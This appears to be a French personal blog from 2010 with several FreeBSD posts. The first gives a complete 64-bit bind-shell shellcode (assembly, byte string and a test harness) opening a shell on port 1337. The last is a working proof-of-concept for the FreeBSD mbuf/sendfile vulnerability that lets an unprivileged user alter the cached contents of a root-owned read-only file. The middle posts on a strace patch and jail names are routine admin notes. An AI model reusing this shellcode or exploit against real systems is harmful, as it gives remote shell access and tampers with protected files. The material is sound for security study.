29/08/2010

Bind sh on freebsd 64 bits

J'ai souhaité écrire un shellcode qui bind un shell sur le port 1337, le tout sur FreeBSD architecture 64 Bits : Qui sait ça servira peut être à quelqu'un. Pour ma part si je l'ai écrit c'etait pour le fun et qu'il était introuvable à travers le net (tout du moins sur les sites Exploit-db ou encore Shell-Storm).

Avant de se lancer dans le code récupérons les informations nécessaire à son écriture :

% cat /usr/src/sys/kern/syscalls.master | grep 'socket\|bind\|listen\|accept\|dup2\|execve'
30      AUE_ACCEPT      STD     { int accept(int s, \
59      AUE_EXECVE      STD     { int execve(char *fname, char **argv, \
90      AUE_DUP2        STD     { int dup2(u_int from, u_int to); }
97      AUE_SOCKET      STD     { int socket(int domain, int type, \
104     AUE_BIND        STD     { int bind(int s, caddr_t name, \
106     AUE_LISTEN      STD     { int listen(int s, int backlog); }

Code :

# socket(AF_INET, SOCK_STREAM,IPPROTO_TCP)
push $0x61
pop %rax
push $0x6	
pop %rdx
push $0x2
pop %rdi
push $0x1
pop %rsi
syscall

# bind(socket, server, sizeof(server))
mov %rax,%rdi
push $0x68
pop %rax
push $0x39050102
mov %rsp,%rsi
push $0x10
pop %rdx
syscall

# listen(socket, 1)
push $0x1
pop %rsi
push $0x6A
pop %rax
syscall

# accept(socket, 0, 0)
xor %rsi, %rsi
xor %rdx, %rdx
push $0x1e
pop %rax
syscall

# dup2 stdin
# dup2 stdout
# dup2 stderr
mov %rax,%rdi
push $0x5a
pop %rax
push $0x2
pop %rsi
syscall
dec %rsi
push $0x5a
pop %rax
syscall
dec %rsi
push $0x5a
pop %rax
syscall

# execve("/bin/sh", ["/bin/sh"], NULL
push $0x3b 	    
pop %rax
cltd
mov $0x68732f2f6e69622f,%rbx
push %rdx
push %rbx
push %rsp	
pop %rdi
push %rdx
push %rdi
push %rsp	
pop %rsi
syscall

Pour le compiler :

as -o bind_sh.o bind_sh.s
ld -o bind_sh bind_sh.o

Le shellcode en lui même :

int
main()
{
  const char *shcode =  "\x6a\x61\x58\x6a"
    "\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f"
    "\x05\x48\x89\xc7\x6a\x68\x58\x68\x02"
    "\x01\x05\x39\x48\x89\xe6\x6a\x10\x5a"
    "\x0f\x05\x6a\x01\x5e\x6a\x6a\x58\x0f"
    "\x05\x48\x31\xf6\x48\x31\xd2\x6a\x1e"
    "\x58\x0f\x05\x48\x89\xc7\x6a\x5a\x58"
    "\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a"
    "\x5a\x58\x0f\x05\x48\xff\xce\x6a\x5a"
    "\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb"
    "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52"
    "\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";

  printf("Size = %d\n",strlen(shcode));
  (*(void (*)()) shcode)();
}

Test :

% gcc bind_sh.c -o bind_sh
% ./bind_sh
Size = 103

Dans un autre terminal :

% sockstat -4 | grep bind_sh
w4kfu    bind_sh    12151 3  tcp4   *:1337                *:*
% nc localhost 1337
ls
bind_sh
bind_sh.o
bind_sh.s
bind_sh.c

15/08/2010

Un patch strace 64 bits pour FreeBSD

La plupart du temps les challenges en rapport avec la sécurité informatique sont destinés aux systémes d'exploitation GNU/Linux.

Des crackme pour FreeBSD, à part si on se les fait soit même ça n'existe pas. On peut bien sur virtualiser à l'aide de qemu, virtualbox mais il faut l'avouer c'est coûteux.

Mais sous FreeBSD, nous avons linuxulator une couche d'émulation permettant de faire tourner des applis Linuxienne sous notre os à la boule rouge.

On charge le module :

#kldload linux

C'est bien gentil de pouvoir éxécuter, mais on aimerait pouvoir surveiller les différents syscalls de notre application.

Sous FreeBSD, nous avons l'excellent outil truss, ainsi que Dtrace mais lorsque je traçais des binaires, je n'aimais pas l'affichage :

linux_brk(0x0,0x28069fd0,0x8048440,0xafe9fbff,0xbfbfffac,0x6) = 134520832 (0x804a000)
linux_newuname(0xbfbfe4e2,0x2806a284,0x28069fd0,0x2806a648,0x2806a648,0x6) = 0 (0x0)

Le linux à chaque début de ligne me déplaisait, c'est alors que je sors strace mais là c'est le drame strace n'est compatible que pour archi i386.

J'ai donc décidé de me lancer dans l'ecriture d'un patch non-officiel.

Premièrement placez vous dans /usr/ports/devel/strace et commentez dans le fichier Makefile la ligne suivante :

ONLY_FOR_ARCHS= i386

On lance la commande make, histoire que ca fetch comme il faut les fichiers dont on a besoin, mais une fois le processus de configuration lancé ça foire. C'est là que le semblant de patch que j'ai écrit rentre en jeux :

# cd /usr/ports/devel/strace/work
# fetch http://blog.w4kfu.com/public/strace_64bits.patch
# patch -p0 < strace_64bits.patch

Il ne vous restera qu'à relancer un configure puis de make.

# cd strace-4.5.18
# ./configure
# make

Attention ce patch n'a été testé que avec strace version 4.5.18 ! et il n'est surement pas fonctionnel à 100%.

05/08/2010

jail nom_jail not found

Lors de l'utilisation de la commande jexec je voulais être capable d'utiliser le nom de ma jail au lieu de faire un jls et passer par son JID.

En lisant le man je vois que cela est possible :

jail [-hi] [-n jailname]

Je teste donc l'option :

# jexec -n nom_jail ps
jexec: jail nom_jail not found

Je vérifie à l'aide de la commande jls pour voir si je me trompe pas dans le nom de la jail. Non.

Bon bah, il reste plus qu'à RTFM ( man jail ) et là on peut voir :

The jail utility creates a new jail or modifies an existing jail, option-ally imprisoning the current process (and future descendants) inside it. The options are as follows: -n jailname Set the jail's name. This is deprecated and is equivalent to setting the name parameter.

Je rajoute donc dans mon rc.conf :

jail_nomjail_flags="-n nomjail"

Je relance la jail... and it works !

17/07/2010

FreeBSD mbuf vulnerability

Mardi 13 Juillet 2010, une security advisories tombe. De suite on redoute le pire en voyant l'annonce. Mais avant de patcher mon kernel j'ai voulu jouer avec tout ça. J'ai pas mal tournée en rond pendant plusieurs soirs ( RTFM, lire les sources du kernel, ... ).

A vrai dire ce n'était pas facile de se lancer dans ce mécanisme IPC dont je ne connaissais pas l'existence. Et la security advisories ne donnait pas trop d'indice.

Il y a surtout une chose qu'ils ont omis c'est que ce problème n'arrive que lors de l'envoi de gros fichiers ( quelques megas ). J'ai tout donc réussi à coder le workaround suivant :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/stat.h>

void
make_listen(void)
{
  int s,c;
  struct sockaddr_in addr;
  struct sockaddr_in cli;
  socklen_t cli_size;
  char buf[100];
  
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_port = htons(31337);
  addr.sin_family = PF_INET;
  s = socket(PF_INET, SOCK_STREAM, 0);
  if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1)
    {
      perror("bind() failed");
      exit(EXIT_FAILURE);
    }
  listen(s, 3);
  c = accept(s, (struct sockaddr*) &cli, &cli_size);
  while (recv(c, buf, sizeof(buf) - 1, 0) > 0)
    printf("make_listen() :: recv() = %s\n",buf);
  close(s);
}

int
main (void)
{
  int s, fd;
  struct sockaddr_in addr;
  struct stat sb;
  fd_set wfds;
  int64_t size;
  off_t sbytes;
  
  if (fork() != 0)
    {
      sleep(2);
      s = socket(PF_INET, SOCK_STREAM, 0);
      bzero(&addr, sizeof(addr));
      addr.sin_family = PF_INET;
      addr.sin_port = htons(31337);
      addr.sin_addr.s_addr = INADDR_ANY; 
      if ( connect(s, (struct sockaddr *)&addr, sizeof (addr)) < 0 )
        {
          perror("connect() ");
          exit(EXIT_FAILURE);
        }      
      fcntl(s, F_SETFL);
      if ( ( fd = open("sendfile", O_RDONLY) ) < 0)
        {
          perror("open() ");
          exit(EXIT_FAILURE);
        }
      if ( fstat(fd, &sb) < 0 )
        {
          perror("fstat() ");
          exit(EXIT_FAILURE);
        }
      size = sb.st_size;
      while (size > 0)
        {
          FD_ZERO(&wfds);
          FD_SET(s, &wfds);
          select(fd+1, NULL, &wfds, NULL, NULL);
          sbytes = 0;
          if ( sendfile(fd, s, 0, 500, NULL, &sbytes, 0) < 0 )
            continue;
          size -= sbytes;
          write(s, "huh\r\n", 5);
        }
      close(s);
    }
  else
      make_listen();
  return 0;
}

On va donc créer un fichier assez conséquent où notre utilisateur n'aura que les droits en lecture :

segfault# perl -e'print "A"x500000' > sendfile 
segfault# exit
exit
> ls -al sendfile 
-rw-r--r--  1 root  w4kfu  500000 Jul 17 12:40 sendfile

On va regarder le checksum ( md5 ) de notre fichier avant le lancement de notre programme :

> md5 sendfile 
MD5 (sendfile) = d8984e20a439a4ad578094b86aee552f

On compile ensuite notre programme et on regarde si il n'y a pas de flag setuid ( non je ne triche pas ! :] )

> gcc -o work work.c 
> ls -al work
-rwxr-xr-x  1 w4kfu  w4kfu  10142 Jul 17 13:18 work

On éxécute et regardons de nouveau le checksum :

> ./work
....
make_listen() :: recv() = 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
....
> md5 sendfile 
MD5 (sendfile) = 6edd32bded5b12bb55f54b36f95f1936

Là on se dit : " Yeah ! it works !". Sauf qu'encore une fois l'advisories n'avait pas prévenu de quelque chose. La modification ne se fait que dans le cache, donc si on remonte notre file system le checksum sera le même qu'au départ :

segfault# mount -o rw /dev/ad6s1a /
segfault# exit
exit
> md5 sendfile 
MD5 (sendfile) = d8984e20a439a4ad578094b86aee552f

Edit : 19 Août 2010 Un exploit est release par Kingcope, voici le lien.

Pages : 1